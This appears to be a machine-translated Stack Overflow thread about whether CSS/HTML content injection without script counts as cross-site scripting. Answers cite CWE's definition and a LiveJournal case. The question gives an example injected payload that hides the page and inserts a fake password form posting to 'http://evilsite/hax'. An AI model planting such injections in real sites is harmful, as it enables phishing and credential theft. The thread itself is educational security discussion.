首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >XSS/跨站点脚本也包括CSS注入吗?

问XSS/跨站点脚本也包括CSS注入吗?
EN

Stack Overflow用户
提问于 2012-03-11 07:12:16
回答 2查看 2.2K关注 0票数 2

我正在做一个关于网络安全的演示,并准备展示几个基本的跨站点脚本示例。

有趣的是,在使用Chrome处理这些示例时,我遇到了Chrome的XSS预防功能,它将检测是否正在执行请求中也存在的脚本;非常漂亮的特性。

由于我的示例故意回写以未转义格式提交的内容,所以我决定查看Chrome是否以相同的方式处理样式信息。在这种情况下,我能够提交结束标记和一个样式元素,它隐藏了文档的其余部分,并用我的内容重写了它。

我想知道的是:我所做的仍然是跨站点脚本,还是被称为其他东西?它仍然是一种将内容注入页面以改变布局的攻击,并且可能会做一些邪恶的事情,比如添加提交给攻击者站点的表单,但它没有显式地注入脚本。

我想确保我的语义是正确的,这个例子似乎克服了显式地将XSS称为基于脚本的攻击的概念,除非它有自己的名字。

提前感谢!

编辑:我将提供一个简单的例子来说明我在说什么

如果我有以下页面:

代码语言:javascript
复制
<html>
  <body>
    <h1 class="welcome">Welcome Fred!</h1>
  </body>
</html>

"Fred“一词来自用户输入,如果没有转义,我可以注入:

代码语言:javascript
复制
<html>
  <body>
    <h1 class="welcome">Welcome 
      <!-- begin injected code -->
      </h1>
      <style>.welcome { visibility: hidden; display: none; }</style>
      <h1>Please enter your password to continue</h1>
      <form method="post" action="http://evilsite/hax">
        <label for="password">Password:</label>
        <input type="password" id="password" name="password" />
        <input type="Submit" name="Submit" value="Submit">
      </form>
      <h1 class="welcome">
      <!-- end injected code -->
      !
    </h1>
  </body>
</html>

然后,该页面看起来就像是合法的站点在请求用户的密码,而它将被提交到攻击者的站点(并且有可能重定向到合法的站点,以使受害者不知道)。

它仍然具有与基于普通脚本的XSS攻击相似的意图,但不涉及任何脚本。

EN

回答 2

Stack Overflow用户

发布于 2012-03-11 07:37:51

有先例称此为XSS。正如在是否有可能通过样式表进行跨域攻击?中所解释的那样,livejournal是最早被广泛报道的基于CSS的XSS目标之一。

LiveJournal包含允许远程跨站点脚本攻击的漏洞。存在此缺陷是因为应用程序在提交到‘/cgi/leanhtml.pl’脚本时不验证xsl命名空间变量。这可能允许用户创建巧尽心思构建的URL,该URL将在浏览器和服务器之间的信任关系内在用户浏览器中执行任意代码,从而导致完整性损失。

在这种情况下,术语“跨站点脚本”是恰当的,因为攻击通过将脚本注入到通过相同来源策略获得权限的站点而提升了权限。无论脚本是在JavaScript、CSS、HTML、URL还是其他类型的代码中,都与攻击是否应该被描述为"XSS“无关。这一决定是根据以下方面作出的:

  1. 攻击者是否导致代码在浏览器中运行?如果是这样的话,那就是脚本。
  2. 该代码是否在浏览器的相同来源策略下运行,而该来源的所有者并不打算授予?如果是这样的话,它是跨站点的。

编辑:

如果没有运行脚本,那么它就不是跨站点脚本。也许内容注入或内容掩蔽将是一个更合适的术语。

票数 2
EN

Stack Overflow用户

发布于 2012-03-11 08:07:51

严格意义上说,只有在可以将一些来自外部(即跨域)的客户端脚本注入到文档中,以便在文档上下文中的受害者浏览器中执行注入的代码,从而产生与服务器所提供的结果相同的情况下,才会称为攻击(客户端脚本)。

这就是CWE描述XSS

在以下情况下出现跨站点脚本(XSS)漏洞:

  1. 不受信任的数据进入web应用程序,通常来自web请求。
  2. web应用程序动态生成包含此不受信任数据的网页。
  3. 在页面生成过程中,应用程序不阻止数据包含web浏览器可执行的内容,例如JavaScript、HTML、HTML属性、鼠标事件、Flash、ActiveX等。
  4. 受害者通过web浏览器访问生成的网页,该浏览器包含使用不受信任数据注入的恶意脚本。
  5. 由于脚本来自web服务器发送的网页,因此受害者的web浏览器在web服务器域的上下文中执行恶意脚本。
  6. 这实际上违反了web浏览器相同来源策略的意图,该策略规定,一个域中的脚本不应该能够访问资源或在另一个域中运行代码。

因此,如果注入不包含客户端脚本,而是包含一些不同的内容,那么您不会称它为XSS,而是一些类似于代码注入的东西。在改变内容的情况下,也可以称为污点。

但为了方便起见,许多人将允许将某些东西注入文档的每一次攻击合并为XSS。根据CWE的说法,将假登录表单注入文档的攻击也称为XSS。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/9653136

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档